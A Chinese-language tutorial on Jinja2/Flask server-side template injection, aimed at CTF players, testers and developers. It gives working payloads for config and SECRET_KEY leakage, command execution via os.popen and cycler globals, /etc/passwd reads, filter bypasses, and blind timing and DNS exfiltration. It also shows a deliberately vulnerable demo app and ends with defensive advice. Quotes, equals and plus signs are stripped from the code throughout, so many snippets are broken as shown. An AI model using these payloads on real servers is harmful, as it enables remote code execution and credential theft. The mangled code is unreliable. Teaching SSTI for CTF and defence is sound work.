端模板注入實(shí)戰(zhàn):從Flask原理到繞過(guò)防御)
第一次在CTF里碰到SSTI的人十有八九會(huì)一臉懵一條報(bào)錯(cuò)信息明明是jinja2.exceptions.UndefinedError怎么轉(zhuǎn)手payload就能讀到服務(wù)器上的文件如果你也有過(guò)這種體驗(yàn)?zāi)沁@篇應(yīng)該能幫你把SSTI從聽(tīng)說(shuō)過(guò)變成徹底搞懂。我會(huì)以Flask為例子從服務(wù)端模板注入的原理講起把檢測(cè)技巧、常見(jiàn)payload、過(guò)濾繞過(guò)和防御手段全部拆開一條條揉碎了講清楚。全文面向安全測(cè)試人員、CTF玩家以及怕自己業(yè)務(wù)接口被注入的開發(fā)同學(xué)——不管你是要打題、做測(cè)試還是寫代碼的時(shí)候想避坑都能從這里找到想要的答案。1. SSTI到底是什么從一個(gè)翻譯過(guò)程的失控說(shuō)起1.1 模板引擎在幫我們翻譯什么先理解正常渲染流程要理解服務(wù)端模板注入得先弄清楚模板引擎是怎么工作的。以Flask默認(rèn)的Jinja2為例它的核心思路很簡(jiǎn)單把一份帶占位符的文本當(dāng)作模板運(yùn)行時(shí)把變量填充進(jìn)去生成最終的HTML或文本返回給用戶。一個(gè)最最基本的例子from flask import Flask, render_template_string app Flask(__name__) app.route(/hello/name) def hello(name): template h1Hello, {{ name }}!/h1 return render_template_string(template, namename)正常請(qǐng)求/hello/world模板引擎會(huì)解析{{ name }}這個(gè)表達(dá)式把變量name的值world填充進(jìn)去返回h1Hello, world!/h1。這個(gè)流程平時(shí)沒(méi)有任何問(wèn)題因?yàn)槟0謇锏谋磉_(dá)式是開發(fā)者寫死的變量的值由用戶提供。但注意Jinja2在渲染時(shí)并不是簡(jiǎn)單做字符串替換而是先把模板文本編譯成Python字節(jié)碼再執(zhí)行。換句話說(shuō)模板里{{ ... }}和{% ... %}的內(nèi)容本質(zhì)上參與了一次代碼求值。如果某部分模板內(nèi)容本身就來(lái)自用戶輸入那這就不再是填充變量而是給了用戶一個(gè)在服務(wù)器上執(zhí)行Python表達(dá)式甚至命令的機(jī)會(huì)。這就是SSTI服務(wù)端模板注入Server-Side Template Injection。1.2 注入的根源用戶輸入被當(dāng)成了代碼而不是數(shù)據(jù)我見(jiàn)過(guò)很多朋友把SSTI和XSS搞混。兩者的共同點(diǎn)是都會(huì)在輸出層面做測(cè)試但XSS的利用目標(biāo)是瀏覽器SSTI的利用目標(biāo)是服務(wù)器本身嚴(yán)重程度天差地別。SSTI產(chǎn)生的根本原因可以總結(jié)成一句話不可信數(shù)據(jù)進(jìn)入了模板編譯的代碼路徑。常見(jiàn)寫法是哪些最容易踩坑的就是render_template_string因?yàn)楹芏嘟坛潭紩?huì)教新手把用戶參數(shù)直接拼進(jìn)模板字符串a(chǎn)pp.route(/page) def page(): tpl request.args.get(tpl, ) return render_template_string(h1 tpl /h1)也有一些框架或者快速原型項(xiàng)目會(huì)把整段頁(yè)面源碼存在數(shù)據(jù)庫(kù)里由管理員或者運(yùn)營(yíng)人員在后臺(tái)編輯再通過(guò)模板引擎渲染。如果誰(shuí)能控制這段模板內(nèi)容權(quán)限配置不當(dāng)、數(shù)據(jù)庫(kù)注入、后臺(tái)邏輯漏洞效果和直接拿到命令執(zhí)行是等價(jià)的。判斷到底是不是SSTI最簡(jiǎn)單的思路是提交一個(gè)原本應(yīng)該被當(dāng)成數(shù)據(jù)的字符串結(jié)果里面如果包含了模板語(yǔ)法并且被當(dāng)成邏輯解析并執(zhí)行那這就是注入點(diǎn)。1.3 初步確認(rèn)最小化探測(cè)payload進(jìn)入實(shí)戰(zhàn)前先記牢三類探測(cè)方法。第一種是純算術(shù)表達(dá)式比如提交{{7*7}}如果返回49基本可以斷定是Jinja2或者其他支持算術(shù)運(yùn)算的模板引擎。第二種是字符串拼接提交{{ab}}如果返回ab同樣能說(shuō)明表達(dá)式被執(zhí)行。第三種是注釋或者無(wú)意義表達(dá)式看回顯判斷是否觸發(fā)報(bào)錯(cuò)以及報(bào)錯(cuò)內(nèi)容是否泄露模板引擎類型。實(shí)測(cè)中我更喜歡先提交一個(gè){{7*7}}再提交一個(gè)${7*7}。兩者結(jié)果一對(duì)比就能分辨引擎類型——Jinja2返回49而${...}在很多Java模板引擎比如FreeMarker里是標(biāo)準(zhǔn)語(yǔ)法。一個(gè)字符串一次性測(cè)兩種引擎效率最高。但這里要提醒一句如果你提交{{7*7}}發(fā)現(xiàn)頁(yè)面還是原樣返回{{7*7}}并不代表沒(méi)有SSTI有可能是模板引擎把輸入做了轉(zhuǎn)義也可能是輸入在到達(dá)模板前就被拼接到了不該拼接的地方。這就需要進(jìn)一步觀察報(bào)錯(cuò)頁(yè)面和響應(yīng)差異。2. 原理追查Jinja2的變量解析和Python對(duì)象模型2.1 表達(dá)式、過(guò)濾器、全局變量Jinja2的求值規(guī)則既然要去構(gòu)造payload就得先搞清楚Jinja2支持哪些語(yǔ)法。模板里最常見(jiàn)的三種結(jié)構(gòu){{ expr }}輸出一個(gè)表達(dá)式的值{% statement %}執(zhí)行控制流語(yǔ)句比如if、for{# comment #}是注釋。在{{ ... }}內(nèi)部我們可以使用變量、字面量、算術(shù)運(yùn)算符、比較運(yùn)算符、邏輯運(yùn)算符還可以用管道符調(diào)用過(guò)濾器比如{{ name|upper }}。這些都是模板引擎提供給開發(fā)者的能力。但SSTI真正要用的并不只是這些常規(guī)操作而是要借助Python對(duì)象模型本身提供的能力。Jinja2有一個(gè)非常重要的特性它允許訪問(wèn)對(duì)象的屬性和方法。寫法有{{ obj.attr }}和{{ obj[attr] }}兩種。表面上這只是個(gè)取值操作但一旦我們能拿到對(duì)象的內(nèi)部屬性比如__class__、__init__就等于拿到了通往底層的鑰匙。Jinja2自帶一些全局變量比如configFlask的配置對(duì)象、self當(dāng)前模板上下文、request、session、g等等。其中config是最友好的信息收集目標(biāo)一個(gè){{config}}往往就能泄露SECRET_KEY、數(shù)據(jù)庫(kù)連接串等敏感信息。2.2 MRO與魔術(shù)方法為什么SSTI能一路爬到系統(tǒng)命令現(xiàn)在進(jìn)入最關(guān)鍵的部分。Python一切皆對(duì)象而對(duì)象的類型、父類、方法列表都可以通過(guò)幾個(gè)魔術(shù)方法拿到__class__獲取當(dāng)前對(duì)象的類。__mro__返回一個(gè)元組包含當(dāng)前類以及它的所有父類順序按照方法解析順序排列。__bases__返回當(dāng)前類的直接父類。__subclasses__()返回當(dāng)前類的所有直接子類列表。__init__構(gòu)造函數(shù)。__globals__如果作用于某個(gè)函數(shù)返回一個(gè)字典包含該函數(shù)所在模塊的全部全局變量。SSTI利用鏈的思路可以概括為從任何一個(gè)對(duì)象出發(fā)先拿到它的類再通過(guò)類找父類最后到達(dá)object或者某個(gè)工具類然后通過(guò)__subclasses__()拿到當(dāng)前進(jìn)程里所有類的列表從中挑選能夠做危險(xiǎn)操作的類。舉個(gè)例子空字符串是一個(gè)字符串對(duì)象.__class__就是class str.__class__.__mro__會(huì)返回(class str, class object)。這里很多教程會(huì)直接用__mro__[1]或者_(dá)_mro__[2]看起來(lái)索引值不穩(wěn)定其實(shí)是因?yàn)槠瘘c(diǎn)對(duì)象不同索引位置可能有差異。最好的習(xí)慣是先用__mro__看看返回幾個(gè)父類再選擇真正指向object的那一個(gè)下標(biāo)。拿到object之后調(diào)用__subclasses__()會(huì)得到當(dāng)前Python解釋器里已經(jīng)加載的所有類的列表。這里面會(huì)有os._wrap_close、subprocess.Popen、warnings.catch_warnings、file僅Python2等一大批可以利用的類。它們都是object的直接或間接子類所以在列表里一定能找到。2.3 版本差異Python2和Python3下的不同路線這塊很容易讓人踩坑。Python2的object子類列表里直接有一個(gè)type file它對(duì)應(yīng)的構(gòu)造函數(shù)可以用來(lái)讀取文件.__class__.__mro__[2].__subclasses__()[40](/etc/passwd).read()但在Python3中file類型已經(jīng)不存在了同樣的索引位置可能是完全不同的類必須尋找io._IOBase、io.TextIOWrapper等替代類或者直接找os相關(guān)的類來(lái)拼命令執(zhí)行。實(shí)操中最穩(wěn)定、最有代表性的做法是遍歷子類列表用特征類名定位。比如{% for x in ().__class__.__mro__[1].__subclasses__() %} {% if os in x.__module__ %} {{ x.__module__ }}.{{ x.__name__ }} {% endif %} {% endfor %}這種思路之所以可靠是因?yàn)槲覀儾皇强坑簿幋a的索引位置而是靠模塊路徑和類名特征去匹配。在跑批量測(cè)試和寫自動(dòng)化腳本的時(shí)候哪怕Python小版本升級(jí)導(dǎo)致類列表順序變化這套方案依然能命中只是需要額外寫一點(diǎn)解析邏輯。3. 常用payload全梳理一條鏈路打到命令執(zhí)行3.1 最基礎(chǔ)的探測(cè)與信息收集我把平時(shí)用的比較高頻的基礎(chǔ)探測(cè)payload整理一下。假設(shè)注入點(diǎn)在render_template_string的參數(shù)里我們需要分階段推進(jìn)。第一階段是確認(rèn)。提交{{7*7}}看回顯是否是49??梢允莧{7*7}}這樣如果引擎執(zhí)行了字符串乘法結(jié)果是一連串7也能判斷表達(dá)式執(zhí)行了。第二階段是信息收集。提交{{config}}如果Flask應(yīng)用開啟了調(diào)試或者模擬環(huán)境配置沒(méi)被隱藏頁(yè)面會(huì)直接顯示配置字典里面可能有SECRET_KEY、數(shù)據(jù)庫(kù)URI等敏感值。提交{{self}}可以得到模板對(duì)象本身的信息也有時(shí)候會(huì)順帶泄露一些全局上下文。第三階段是定位可利用對(duì)象。一個(gè)經(jīng)典payload是{{ [].__class__.__mro__[1].__subclasses__() }}這里[]是列表對(duì)象__class__拿到list__mro__[1]直接指向object再拿所有子類。輸出列表可能非常長(zhǎng)但沒(méi)關(guān)系我們要的就是這份列表從里面挑能用的類。3.2 從當(dāng)前對(duì)象到任意類subclasses遍歷技巧真正要打命令執(zhí)行我最常用的路線是這樣一條{{ .__class__.__mro__[2].__subclasses__() }}這條利用的就是空字符串對(duì)象。為什么從空字符串開始因?yàn)椴还苁怯昧斜?、字典、還是整數(shù)對(duì)象我們最終都要回到object而寫起來(lái)最短方便嵌套和拼接。問(wèn)題是怎么在Payload中快速定位有用的子類手工維護(hù)一個(gè)索引是可行的但不同題目不同環(huán)境結(jié)果不同線上環(huán)境又不想每次都打印幾百行。推薦兩種方式。第一種是用模板自身循環(huán)遍歷子類列表通過(guò)名字或模塊名篩選出目標(biāo)比如搜索subprocess.Popen或os._wrap_close{% set stream cycler.__init__.__globals__.os.popen %} {{ stream(id).read() }}第二種是直接在模板里遍歷并且把符合條件的類一次性打印出來(lái){% for x in ().__class__.__bases__[0].__subclasses__() %} {% if catch_warnings in x.__name__ %} {{ x.__init__.__globals__ }} {% endif %} {% endfor %}值得說(shuō)明的是cycler、joiner、namespace這些都是Jinja2內(nèi)置對(duì)象它們自帶__init__.__globals__里面通常能直接找到os模塊、__builtins__等好東西比盯著subclasses列表一條條翻要快得多。3.3 命令執(zhí)行和文件讀取一條鏈路打通命令執(zhí)行的通式一般長(zhǎng)這樣核心是利用某個(gè)函數(shù)對(duì)象拿到__globals__再通過(guò)__builtins__或os去執(zhí)行命令{{ .__class__.__mro__[2].__subclasses__()[position].__init__.__globals__[__builtins__][__import__](os).popen(cat /etc/passwd).read() }}position指的是目標(biāo)類在__subclasses__()返回列表中的位置。比如warnings.catch_warnings類在多數(shù)環(huán)境里位置往往比較靠前可以直接用{{ .__class__.__mro__[2].__subclasses__()[139].__init__.__globals__[__builtins__] }}拿到__builtins__以后再順著它去找__import__或者直接訪問(wèn)os.popen、os.system。有一點(diǎn)要注意__globals__只有在作用于函數(shù)對(duì)象時(shí)才存在作用于類對(duì)象有時(shí)會(huì)報(bào)錯(cuò)。文件讀取的路線也類似。Python3里可以用open函數(shù)通過(guò)__builtins__直接打開文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}或者找到_io.FileIO、io.TextIOWrapper等類手動(dòng)實(shí)例化但那條路要傳模式參數(shù)代碼一長(zhǎng)寫起來(lái)就費(fèi)勁。所以我一般優(yōu)先打__builtins__里的內(nèi)置函數(shù)如果被過(guò)濾再考慮類實(shí)例化路線。3.4 快速參考常用payload速查表為了打題和自查方便我整理了一張速查表可以直接抄但順手記一下原理更好。目標(biāo)Payload示例說(shuō)明基礎(chǔ)探測(cè){{7*7}}返回49則說(shuō)明表達(dá)式被求值Flask配置泄露{{config}}可能暴露SECRET_KEY等敏感信息獲取當(dāng)前對(duì)象類名{{ .__class__ }}返回str類獲取object類{{ .__class__.__mro__[1] }}得到object類列出所有子類{{ [].__class__.__mro__[1].__subclasses__() }}大列表讀取文件{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}用內(nèi)置open命令執(zhí)行{{ cycler.__init__.__globals__.os.popen(id).read() }}利用Jinja2內(nèi)置對(duì)象全局變量命令執(zhí)行備選{{ .__class__.__mro__[2].__subclasses__()[x].__init__.__globals__[__builtins__][__import__](os).popen(id).read() }}遍歷定位x表里面最后一條的[x]必須根據(jù)實(shí)際環(huán)境來(lái)定這也是寫自動(dòng)化掃描腳本時(shí)經(jīng)常要處理的一環(huán)。4. 過(guò)濾與繞過(guò)實(shí)戰(zhàn)里真正考驗(yàn)人的地方4.1 常見(jiàn)過(guò)濾規(guī)則前文說(shuō)的都是沒(méi)有過(guò)濾的理想場(chǎng)景。真正要面對(duì)的題目或者真實(shí)系統(tǒng)多少會(huì)做一些WAF或參數(shù)校驗(yàn)。總結(jié)下來(lái)最常見(jiàn)的過(guò)濾類型大概有五種過(guò)濾關(guān)鍵字比如__class__、popen、os、過(guò)濾特殊字符_、[、]、單雙引號(hào)、過(guò)濾數(shù)字、過(guò)濾{{ }}以及過(guò)濾一些內(nèi)置函數(shù)名。第一種最好辦用字符串拼接繞過(guò)。第二種比較頭疼因?yàn)楹芏嗄0遄⑷朦c(diǎn)在數(shù)組下標(biāo)或者屬性訪問(wèn)上都依賴[]和雙下劃線。第三種常見(jiàn)于需要傳數(shù)字索引的payload可以通過(guò)模板自身的解析技巧繞過(guò)。第四種最麻煩如果連{{和{%都被轉(zhuǎn)義那基本沒(méi)有注入點(diǎn)了但很多時(shí)候它們的過(guò)濾并不完整只在輸入層替換一次。4.2 經(jīng)典的繞過(guò)組合先說(shuō)過(guò)濾[]。不管是__getitem__還是模板自帶的attr過(guò)濾器都能替代中括號(hào)下標(biāo)訪問(wèn)。例如.__class__如果被過(guò)濾可以寫成|attr(__class__)。在Jinja2里這算是最優(yōu)雅的一種繞法。如果單雙引號(hào)也被過(guò)濾我們可以用request.args獲取URL參數(shù)讓payload里不再出現(xiàn)引號(hào)或者下劃線{{ request.args.f }}配合URL請(qǐng)求{{ cycler.__init__.__globals__.os.popen(request.args.cmd).read() }}cmdid如果下劃線_被過(guò)濾可以用十六進(jìn)制編碼、Unicode編碼或者通過(guò)\x5f拼接繞過(guò)。比如__class__可以寫成\x5f\x5fclass\x5f\x5f在Python解釋器看來(lái)\x5f就是下劃線字符。不過(guò)要注意Jinja2的解析層相對(duì)嚴(yán)格某些編碼方式在模板表達(dá)式里不一定生效實(shí)測(cè)中需要根據(jù)報(bào)錯(cuò)逐步調(diào)整。如果關(guān)鍵字os、popen被過(guò)濾可以做拼接{{ cycler.__init__.__globals__[os].popen(id).read() }}Jinja2會(huì)先做字符串拼接再去做屬性訪問(wèn)這一步恰好能繞過(guò)很多簡(jiǎn)單的詞法過(guò)濾。4.3 無(wú)回顯下的盲打思路有些環(huán)境不會(huì)把模板渲染結(jié)果直接輸出只返回200或404。這時(shí)候就要走盲注或者帶外通道。最常用的是利用命令執(zhí)行后的時(shí)間延遲比如調(diào)os.system(sleep 5)看響應(yīng)時(shí)間是否明顯增加用時(shí)間差確認(rèn)漏洞存在。也可以用DNS外帶的方式確認(rèn)命令執(zhí)行成功把whoami的結(jié)果拼到域名里發(fā)出去在外部記錄到解析請(qǐng)求就說(shuō)明命令已經(jīng)執(zhí)行。這類盲打的關(guān)鍵在于不能太依賴頁(yè)面回顯要在日志和響應(yīng)時(shí)間上找信號(hào)。如果命令執(zhí)行被限制也可以退而求其次先盲讀文件用布爾條件來(lái)判斷文件內(nèi)容類似SQL注入里的盲注思路。比如在模板里判斷某個(gè)文件是否存在存在就配置不同的響應(yīng)。這種方案的效率不算高但屬于兜底手段值得掌握。5. 本地實(shí)操搭個(gè)漏洞環(huán)境走一遍完整鏈路5.1 最小化漏洞應(yīng)用說(shuō)了這么多不如直接在本地把環(huán)境搭起來(lái)從零到一驗(yàn)證一遍。我用一個(gè)最簡(jiǎn)化的Flask應(yīng)用來(lái)做實(shí)驗(yàn)代碼如下from flask import Flask, request, render_template_string app Flask(__name__) app.route(/) def index(): name request.args.get(name, ) template h1Hello, name !/h1 return render_template_string(template) if __name__ __main__: app.run(host0.0.0.0, port5000, debugTrue)本地跑起來(lái)以后訪問(wèn)/?name{{7*7}}頁(yè)面返回Hello, 49!說(shuō)明存在SSTI。建議加一句debugTrue好處是出錯(cuò)能看到詳細(xì)的報(bào)錯(cuò)棧能直觀看到模板編譯發(fā)生了異常。當(dāng)然生產(chǎn)環(huán)境千萬(wàn)別這么寫我這是為了驗(yàn)證方便。5.2 走完整條利用鏈第一步先確認(rèn)表達(dá)式執(zhí)行。然后收集信息訪問(wèn)/?name{{config}}頁(yè)面上會(huì)輸出Flask配置包括SECRET_KEY。這一步往往已經(jīng)能用來(lái)偽造session了如果實(shí)際測(cè)試目標(biāo)有登錄功能這已經(jīng)是一個(gè)高危風(fēng)險(xiǎn)點(diǎn)。第二步先拿子類列表。訪問(wèn)/?name{{ [].__class__.__mro__[1].__subclasses__() }}頁(yè)面會(huì)輸出一大串類列表。復(fù)制下來(lái)搜索os._wrap_close或者warnings.catch_warnings記錄它的索引位置。我這次本地環(huán)境里os._wrap_close出現(xiàn)在第226位左右但你機(jī)器上的位置很可能不同所以動(dòng)態(tài)定位更重要。第三步構(gòu)造命令執(zhí)行payload/?name{{ [].__class__.__mro__[1].__subclasses__()[226].__init__.__globals__[os].popen(id).read() }}如果一切正常頁(yè)面會(huì)輸出uid...的用戶信息。到這一步SSTI已經(jīng)從一條報(bào)錯(cuò)變成了實(shí)打?qū)嵉拿顖?zhí)行。第四步讀取文件/?name{{ config.__class__.__init__.__globals__[__builtins__][open](/etc/passwd).read() }}在Python3環(huán)境中這個(gè)payload應(yīng)該能夠讀出文件內(nèi)容。5.3 踩坑記錄為什么你的payload不通我在這塊踩過(guò)的坑不少總結(jié)幾個(gè)高頻問(wèn)題。第一個(gè)是__globals__只有函數(shù)對(duì)象才有。很多人拿到某個(gè)類以后直接調(diào).__init__.__globals__但如果這個(gè)類不繼承任何函數(shù)或者_(dá)_init__本身不是Python函數(shù)而是內(nèi)置函數(shù)就會(huì)返回AttributeError或者得到預(yù)期之外的結(jié)果。解決方法是盡量選擇諸如warnings.catch_warnings.__init__這種由Python實(shí)現(xiàn)的方法來(lái)訪問(wèn)。第二個(gè)是__subclasses__()返回的子類列表位置不穩(wěn)定。同一個(gè)應(yīng)用稍微改一條import語(yǔ)句、換一個(gè)Python小版本列表就會(huì)變。寫掃描器或者寫exp的時(shí)候不要硬編碼索引應(yīng)該用模塊名和類名做匹配。第三個(gè)是模板里直接使用[]方式訪問(wèn)字典有時(shí)會(huì)觸發(fā)Jinja2的解析規(guī)則。Jinja2允許__globals__[os]這種寫法但某些版本對(duì)__globals__[__builtins__]這種雙下劃線鍵名解析有差異建議遇到報(bào)錯(cuò)時(shí)換成|attr過(guò)濾器或者用.__builtins__直接訪問(wèn)屬性。第四個(gè)很隱蔽{{config}}能輸出不等于{{config.__class__}}也能輸出。Flask的config對(duì)象繼承自字典但有些版本里直接訪問(wèn)它的__init__會(huì)拿到一個(gè)純內(nèi)部的構(gòu)造器里面沒(méi)有__globals__。很多時(shí)候要繞一下先走config.__class__.__mro__找到object再按老路子走。6. 怎么防給同樣在被SSTI困擾的人6.1 代碼層的防御思路防御SSTI最核心的一條就是永遠(yuǎn)不要把模板字符串的來(lái)源交給用戶控制。如果你非要?jiǎng)討B(tài)渲染那至少要做到用戶輸入只作為變量的值傳給模板而不是作為模板文本本身。正確的Flask寫法是這樣的app.route(/hello/name) def hello(name): return render_template_string(h1Hello, {{ name }}!/h1, namename)這樣用戶輸入哪怕包含{{7*7}}也只會(huì)被當(dāng)作字符串值渲染輸出而不會(huì)被當(dāng)成模板邏輯執(zhí)行。另一個(gè)建議是盡量使用render_template去加載獨(dú)立的模板文件少用render_template_string。哪怕動(dòng)態(tài)拼模板也一定不要直接拼用戶數(shù)據(jù)。如果需要給用戶提供有限的模板能力可以考慮用Jinja2沙箱從環(huán)境配置上禁用危險(xiǎn)的函數(shù)和屬性訪問(wèn)。但要注意純靠沙箱攔不住所有情況因?yàn)槟0逡姹旧硖峁┑膶?duì)象已經(jīng)足夠豐富一旦某個(gè)全局對(duì)象能被訪問(wèn)攻擊者可能從它身上繞回危險(xiǎn)函數(shù)。所以沙箱只能作為輔助不能當(dāng)作唯一防線。6.2 配置與運(yùn)維加固除了代碼層面運(yùn)維和框架配置也要跟上。比如把Flask的DEBUG模式關(guān)閉避免報(bào)錯(cuò)頁(yè)面泄露堆棧信息生產(chǎn)環(huán)境不要暴露模板源碼路徑給Web應(yīng)用單獨(dú)設(shè)置低權(quán)限用戶別用root跑應(yīng)用讓它即使被攻破也沒(méi)辦法讀取太多敏感文件對(duì)外部輸入做輸入長(zhǎng)度限制比如限制單參數(shù)長(zhǎng)度雖然不能從根本上防注入但能明顯增加攻擊成本。另一種更穩(wěn)妥的隔離思路是讓模板渲染層和業(yè)務(wù)代碼完全分離。模板內(nèi)容放在獨(dú)立的文件甚至單獨(dú)的服務(wù)里不允許業(yè)務(wù)接口直接傳模板字符串。很多大型項(xiàng)目會(huì)直接用前端框架渲染頁(yè)面后端只返回JSON這樣SSTI的攻擊面自然就小了很多。6.3 常見(jiàn)問(wèn)題排查速查現(xiàn)象可能原因解決思路{{7*7}}原樣輸出輸入被轉(zhuǎn)義或未進(jìn)入模板表達(dá)式檢查渲染位置、過(guò)濾邏輯{{7*7}}輸出49但{{config}}報(bào)錯(cuò)全局變量被禁用用self或request等替代__subclasses__()返回空沙箱攔截?fù)Q一條鏈子比如從cycler入手__globals__訪問(wèn)報(bào)錯(cuò)目標(biāo)不是函數(shù)對(duì)象換一個(gè)函數(shù)型初始化器來(lái)訪問(wèn)命令執(zhí)行失敗但探測(cè)成功被過(guò)濾了或目標(biāo)類無(wú)權(quán)限考慮盲打、繞過(guò)、或者換用文件讀取頁(yè)面返回500Payload語(yǔ)法或類型錯(cuò)誤用本地Jinja2環(huán)境逐段調(diào)試排查的時(shí)候我習(xí)慣先在本地裝一個(gè)同版本的Jinja2把payload扔進(jìn)render_template_string里做最小化驗(yàn)證確認(rèn)語(yǔ)法沒(méi)有問(wèn)題再上目標(biāo)。這比直接在目標(biāo)機(jī)上試錯(cuò)要穩(wěn)得多。我個(gè)人踩過(guò)幾輪之后的體會(huì)是SSTI的利用鏈確實(shí)靈活得可怕但只要把握住數(shù)據(jù)不入模板編譯路徑這條底線防御思路其實(shí)非常簡(jiǎn)單。對(duì)開發(fā)者來(lái)說(shuō)寫每行模板渲染代碼時(shí)都多想一步這個(gè)輸入會(huì)不會(huì)被當(dāng)成代碼執(zhí)行對(duì)測(cè)試人員來(lái)說(shuō)先確保自己理解了Jinja2的求值順序和Python對(duì)象模型再動(dòng)手去打payload才能做到彈無(wú)虛發(fā)。安全這東西很多時(shí)候差的真不是技巧是那一層再往下挖一層的意識(shí)。